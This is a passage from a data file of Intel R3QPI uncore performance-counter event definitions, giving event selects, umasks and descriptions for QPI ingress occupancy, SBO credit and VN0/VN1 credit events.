"Defn": "Counts the number of cycles when the QPI VN1 Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Cycles Not Empty",
"EvSel": 20,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.RxR_CYCLES_NE_VN1.NDR": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of cycles when the QPI VN1 Ingress is not empty. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue occupancy. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Cycles Not Empty",
"EvSel": 20,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.RxR_INSERTS": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
},
"R3QPI.RxR_INSERTS.NCB": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.RxR_INSERTS.DRS": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.RxR_INSERTS.SNP": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.RxR_INSERTS.HOM": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.RxR_INSERTS.NCS": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.RxR_INSERTS.NDR": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "Ingress Allocations",
"EvSel": 17,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.RxR_INSERTS_VN1": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI VN1 Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Allocations",
"EvSel": 21,
"ExtSel": "",
},
"R3QPI.RxR_INSERTS_VN1.NDR": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI VN1 Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Allocations",
"EvSel": 21,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.RxR_INSERTS_VN1.NCS": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI VN1 Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Allocations",
"EvSel": 21,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.RxR_INSERTS_VN1.HOM": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI VN1 Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Allocations",
"EvSel": 21,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.RxR_INSERTS_VN1.SNP": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI VN1 Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Allocations",
"EvSel": 21,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.RxR_INSERTS_VN1.NCB": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI VN1 Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Allocations",
"EvSel": 21,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.RxR_INSERTS_VN1.DRS": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": "0-1",
"Defn": "Counts the number of allocations into the QPI VN1 Ingress. This tracks one of the three rings that are used by the QPI agent. This can be used in conjunction with the QPI VN1 Ingress Occupancy Accumulator event in order to calculate average queue latency. Multiple ingress buffers can be tracked at a given time using multiple counters.",
"Desc": "VN1 Ingress Allocations",
"EvSel": 21,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.RxR_OCCUPANCY_VN1": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": 0,
"Defn": "Accumulates the occupancy of a given QPI VN1 Ingress queue in each cycles. This tracks one of the three ring Ingress buffers. This can be used with the QPI VN1 Ingress Not Empty event to calculate average occupancy or the QPI VN1 Ingress Allocations event in order to calculate average queuing latency.",
"Desc": "VN1 Ingress Occupancy Accumulator",
"EvSel": 19,
"ExtSel": "",
"MaxIncCyc": 32,
"Notes": "Supposed to be 0x16",
"SubCtr": 1,
},
"R3QPI.RxR_OCCUPANCY_VN1.NCB": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": 0,
"Defn": "Accumulates the occupancy of a given QPI VN1 Ingress queue in each cycles. This tracks one of the three ring Ingress buffers. This can be used with the QPI VN1 Ingress Not Empty event to calculate average occupancy or the QPI VN1 Ingress Allocations event in order to calculate average queuing latency.",
"Desc": "VN1 Ingress Occupancy Accumulator",
"EvSel": 19,
"ExtSel": "",
"MaxIncCyc": 32,
"Notes": "Supposed to be 0x16",
"SubCtr": 1,
"Umask": "bxxx1xxxx",
},
"R3QPI.RxR_OCCUPANCY_VN1.DRS": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": 0,
"Defn": "Accumulates the occupancy of a given QPI VN1 Ingress queue in each cycles. This tracks one of the three ring Ingress buffers. This can be used with the QPI VN1 Ingress Not Empty event to calculate average occupancy or the QPI VN1 Ingress Allocations event in order to calculate average queuing latency.",
"Desc": "VN1 Ingress Occupancy Accumulator",
"EvSel": 19,
"ExtSel": "",
"MaxIncCyc": 32,
"Notes": "Supposed to be 0x16",
"SubCtr": 1,
"Umask": "bxxxx1xxx",
},
"R3QPI.RxR_OCCUPANCY_VN1.SNP": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": 0,
"Defn": "Accumulates the occupancy of a given QPI VN1 Ingress queue in each cycles. This tracks one of the three ring Ingress buffers. This can be used with the QPI VN1 Ingress Not Empty event to calculate average occupancy or the QPI VN1 Ingress Allocations event in order to calculate average queuing latency.",
"Desc": "VN1 Ingress Occupancy Accumulator",
"EvSel": 19,
"ExtSel": "",
"MaxIncCyc": 32,
"Notes": "Supposed to be 0x16",
"SubCtr": 1,
"Umask": "bxxxxxx1x",
},
"R3QPI.RxR_OCCUPANCY_VN1.HOM": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": 0,
"Defn": "Accumulates the occupancy of a given QPI VN1 Ingress queue in each cycles. This tracks one of the three ring Ingress buffers. This can be used with the QPI VN1 Ingress Not Empty event to calculate average occupancy or the QPI VN1 Ingress Allocations event in order to calculate average queuing latency.",
"Desc": "VN1 Ingress Occupancy Accumulator",
"EvSel": 19,
"ExtSel": "",
"MaxIncCyc": 32,
"Notes": "Supposed to be 0x16",
"SubCtr": 1,
"Umask": "bxxxxxxx1",
},
"R3QPI.RxR_OCCUPANCY_VN1.NCS": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": 0,
"Defn": "Accumulates the occupancy of a given QPI VN1 Ingress queue in each cycles. This tracks one of the three ring Ingress buffers. This can be used with the QPI VN1 Ingress Not Empty event to calculate average occupancy or the QPI VN1 Ingress Allocations event in order to calculate average queuing latency.",
"Desc": "VN1 Ingress Occupancy Accumulator",
"EvSel": 19,
"ExtSel": "",
"MaxIncCyc": 32,
"Notes": "Supposed to be 0x16",
"SubCtr": 1,
"Umask": "bxx1xxxxx",
},
"R3QPI.RxR_OCCUPANCY_VN1.NDR": {
"Box": "R3QPI",
"Category": "R3QPI INGRESS Events",
"Counters": 0,
"Defn": "Accumulates the occupancy of a given QPI VN1 Ingress queue in each cycles. This tracks one of the three ring Ingress buffers. This can be used with the QPI VN1 Ingress Not Empty event to calculate average occupancy or the QPI VN1 Ingress Allocations event in order to calculate average queuing latency.",
"Desc": "VN1 Ingress Occupancy Accumulator",
"EvSel": 19,
"ExtSel": "",
"MaxIncCyc": 32,
"Notes": "Supposed to be 0x16",
"SubCtr": 1,
"Umask": "bxxxxx1xx",
},
"R3QPI.SBO0_CREDITS_ACQUIRED": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of Sbo 0 credits acquired in a given cycle, per ring.",
"Desc": "SBo0 Credits Acquired",
"EvSel": 40,
"ExtSel": "",
"MaxIncCyc": 2,
},
"R3QPI.SBO0_CREDITS_ACQUIRED.AD": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of Sbo 0 credits acquired in a given cycle, per ring.",
"Desc": "SBo0 Credits Acquired",
"EvSel": 40,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000001",
},
"R3QPI.SBO0_CREDITS_ACQUIRED.BL": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of Sbo 0 credits acquired in a given cycle, per ring.",
"Desc": "SBo0 Credits Acquired",
"EvSel": 40,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000010",
},
"R3QPI.SBO1_CREDITS_ACQUIRED": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of Sbo 1 credits acquired in a given cycle, per ring.",
"Desc": "SBo1 Credits Acquired",
"EvSel": 41,
"ExtSel": "",
"MaxIncCyc": 2,
},
"R3QPI.SBO1_CREDITS_ACQUIRED.BL": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of Sbo 1 credits acquired in a given cycle, per ring.",
"Desc": "SBo1 Credits Acquired",
"EvSel": 41,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000010",
},
"R3QPI.SBO1_CREDITS_ACQUIRED.AD": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of Sbo 1 credits acquired in a given cycle, per ring.",
"Desc": "SBo1 Credits Acquired",
"EvSel": 41,
"ExtSel": "",
"MaxIncCyc": 2,
"Umask": "b00000001",
},
"R3QPI.STALL_NO_SBO_CREDIT": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
},
"R3QPI.STALL_NO_SBO_CREDIT.SBO0_BL": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00000100",
},
"R3QPI.STALL_NO_SBO_CREDIT.SBO0_AD": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00000001",
},
"R3QPI.STALL_NO_SBO_CREDIT.SBO1_AD": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00000010",
},
"R3QPI.STALL_NO_SBO_CREDIT.SBO1_BL": {
"Box": "R3QPI",
"Category": "R3QPI SBO Credit Events",
"Counters": "0-1",
"Defn": "Number of cycles Egress is stalled waiting for an Sbo credit to become available. Per Sbo, per Ring.",
"Desc": "Stall on No Sbo Credits",
"EvSel": 44,
"ExtSel": "",
"MaxIncCyc": 4,
"Umask": "b00001000",
},
"R3QPI.TxR_NACK": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
},
"R3QPI.TxR_NACK.UP_BL": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.TxR_NACK.DN_AK": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.TxR_NACK.DN_AD": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.TxR_NACK.UP_AK": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.TxR_NACK.DN_BL": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.TxR_NACK.UP_AD": {
"Box": "R3QPI",
"Category": "R3QPI EGRESS Events",
"Counters": "0-1",
"Desc": "Egress CCW NACK",
"EvSel": 38,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.VN0_CREDITS_REJECT": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a DRS VN0 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN0 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN0 Credit Acquisition Failed on DRS",
"EvSel": 55,
"ExtSel": "",
},
"R3QPI.VN0_CREDITS_REJECT.NCS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a DRS VN0 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN0 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN0 Credit Acquisition Failed on DRS",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.VN0_CREDITS_REJECT.HOM": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a DRS VN0 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN0 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN0 Credit Acquisition Failed on DRS",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.VN0_CREDITS_REJECT.NDR": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a DRS VN0 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN0 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN0 Credit Acquisition Failed on DRS",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.VN0_CREDITS_REJECT.DRS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a DRS VN0 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN0 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN0 Credit Acquisition Failed on DRS",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.VN0_CREDITS_REJECT.NCB": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a DRS VN0 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN0 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN0 Credit Acquisition Failed on DRS",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.VN0_CREDITS_REJECT.SNP": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a DRS VN0 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN0 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN0 Credit Acquisition Failed on DRS",
"EvSel": 55,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.VN0_CREDITS_USED": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN0 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This counts the number of times a VN0 credit was used. Note that a single VN0 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN0 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN0 Credit Used",
"EvSel": 54,
"ExtSel": "",
},
"R3QPI.VN0_CREDITS_USED.NCS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN0 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This counts the number of times a VN0 credit was used. Note that a single VN0 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN0 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN0 Credit Used",
"EvSel": 54,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"R3QPI.VN0_CREDITS_USED.HOM": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN0 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This counts the number of times a VN0 credit was used. Note that a single VN0 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN0 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN0 Credit Used",
"EvSel": 54,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"R3QPI.VN0_CREDITS_USED.NDR": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN0 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This counts the number of times a VN0 credit was used. Note that a single VN0 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN0 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN0 Credit Used",
"EvSel": 54,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.VN0_CREDITS_USED.NCB": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN0 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This counts the number of times a VN0 credit was used. Note that a single VN0 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN0 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN0 Credit Used",
"EvSel": 54,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"R3QPI.VN0_CREDITS_USED.DRS": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN0 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This counts the number of times a VN0 credit was used. Note that a single VN0 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN0 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN0 Credit Used",
"EvSel": 54,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"R3QPI.VN0_CREDITS_USED.SNP": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN0_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a VN0 credit was used on the DRS message channel. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN0. VNA is a shared pool used to achieve high performance. The VN0 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN0 if they fail. This counts the number of times a VN0 credit was used. Note that a single VN0 credit holds access to potentially multiple flit buffers. For example, a transfer that uses VNA could use 9 flit buffers and in that case uses 9 credits. A transfer on VN0 will only count a single credit even though it may use multiple buffers.",
"Desc": "VN0 Credit Used",
"EvSel": 54,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"R3QPI.VN1_CREDITS_REJECT": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a VN1 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN1 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN1 Credit Acquisition Failed on DRS",
"EvSel": 57,
"ExtSel": "",
},
"R3QPI.VN1_CREDITS_REJECT.NDR": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
"Defn": "Number of times a request failed to acquire a VN1 credit. In order for a request to be transferred across QPI, it must be guaranteed to have a flit buffer on the remote socket to sink into. There are two credit pools, VNA and VN1. VNA is a shared pool used to achieve high performance. The VN1 pool has reserved entries for each message class and is used to prevent deadlock. Requests first attempt to acquire a VNA credit, and then fall back to VN1 if they fail. This therefore counts the number of times when a request failed to acquire either a VNA or VN1 credit and is delayed. This should generally be a rare situation.",
"Desc": "VN1 Credit Acquisition Failed on DRS",
"EvSel": 57,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"R3QPI.VN1_CREDITS_REJECT.HOM": {
"Box": "R3QPI",
"Category": "R3QPI LINK_VN1_CREDITS Events",
"Counters": "0-1",
